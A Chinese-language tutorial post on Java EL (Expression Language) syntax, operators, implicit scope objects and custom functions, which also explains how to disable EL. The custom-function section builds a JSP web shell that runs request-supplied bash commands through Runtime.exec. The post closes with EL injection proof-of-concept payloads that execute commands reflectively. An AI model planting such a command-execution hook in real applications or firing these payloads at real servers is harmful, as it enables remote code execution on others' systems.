前言

EL 表达式用是在Java Web程序嵌入到网页中，来访问页面的上下文以及不同作用域中的对象。
更好地替换了JSP 页面中的脚本表达式 <%= 这里是表达式 %>
EL 表达式主要作用：
1、获取数据
2、执行运算
3、获取web开发常用对象
4、调用Java方法

语法

表达式使用${}语法。引用对象属性或集合元素，使用.或[]表示法。

运算

基本表达式运算符

+、-、*或$、/或div、%或mod

  <p>基本表达式运算符</p><br>
  123+124=${123+124}
  123-124=${123-124}
  123*124=${123*124}
  123/124=${123/124}

image.png

关系运算符

==或eq、!=或ne、<或lt、>或gt、<=或le、>=或ge

如：

<%
request.setAttribute("age",23);
%>
${age>=18?"欢迎光临":"谢绝入内"}
${age ge 18?"欢迎光临":"谢绝入内"}

隐含对象

如：
EL表达式获取不同域对象的属性

  <%
    application.setAttribute("sid",18);
    session.setAttribute("name","cseroad");
    pageContext.setAttribute("sex","man");
    request.setAttribute("pass","123456");
  %>
  年龄：${applicationScope.sid}<br/>
  姓名：${sessionScope.name}<br/>
  性别：${pageScope.sex}<br/>
  密码：${requestScope.pass}<br/>

image.png

如param获取请求参数的属性值

  hello ${param["name"]}
  <br>
  hello ${param.name}

image.png

如initParam获取web.xml的共享数据

<context-param>
<param-name>driver</param-name>
<param-value>com.mysql.driver</param-value>
</context-param>

${initParam.driver}

image.png

调用java方法

在EL表达式中调用的只能是java类的静态方法。且该静态方法需要在tld文件中描述，才可以被EL表达式调用。
先编写一个执行命令的java静态类。

    public static String Eval(String cmd) throws IOException {
        StringBuilder var_str = new StringBuilder();
        Process p = Runtime.getRuntime().exec(new String[]{"/bin/bash", "-c", cmd});
        InputStream input = p.getInputStream();
        InputStreamReader ins = new InputStreamReader(input, "GBK");
        BufferedReader br = new BufferedReader(ins);
        String line;
        while ((line = br.readLine()) != null) {
            var_str.append(line).append("\n");
        }
        String vars = var_str.toString();
        br.close();
        ins.close();
        input.close();
        p.getOutputStream().close();
        return vars;
    }

在tld文件中描述自定义函数

<?xml version="1.0" encoding="UTF-8"?>
<taglib version="2.0" xmlns="http://java.sun.com/xml/ns/j2ee"
        xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
        xsi:schemaLocation="http://java.sun.com/xml/ns/j2ee http://java.sun.com/xml/ns/j2ee/web-jsptaglibrary_2_0.xsd">
    <tlib-version>1.0</tlib-version>
    <short-name>ELFunc</short-name>
    <uri>http://www.cseroad.com/ELFunc</uri>
    <function>
        <name>Eval</name>
        <function-class>com.javael.study.ELFunc</function-class>
        <function-signature>java.lang.String Eval(java.lang.String)</function-signature>
    </function>
</taglib>

TLD描述tag和function。
short-name 表示为库中标签指定一个名称
function-class 表示该方法的实体所在类路径
function-signature 表示该静态方法的方法名
在jsp页面中导入和使用自定义函数

<%@taglib uri="http://www.cseroad.com/ELFunc" prefix="c"%>
${c:Eval(param["cmd"])}

页面传入cmd参数，即可执行命令。

image.png

禁用EL表达式

如果要禁用EL表达式，则在web.xml中配置为

<jsp-config>
    <jsp-property-group>
        <url-pattern>*.jsp</url-pattern>
        <el-ignored>true</el-ignored>
    </jsp-property-group>
</jsp-config>

单个文件禁用EL表达式，配置为

<%@ page isELIgnored="true" %>

TRUE表示禁止，FALSE表示启用。JSP2.0中默认的启用EL表达式。

其他poc：

${pageContext.getSession().getServletContext().getClassLoader().getResource("")}
${pageContext.setAttribute("a","".getClass().forName("java.lang.Runtime").getMethod("exec","".getClass()).invoke("".getClass().forName("java.lang.Runtime").getMethod("getRuntime").invoke(null),"/System/Applications/Calculator.app/Contents/MacOS/Calculator"))}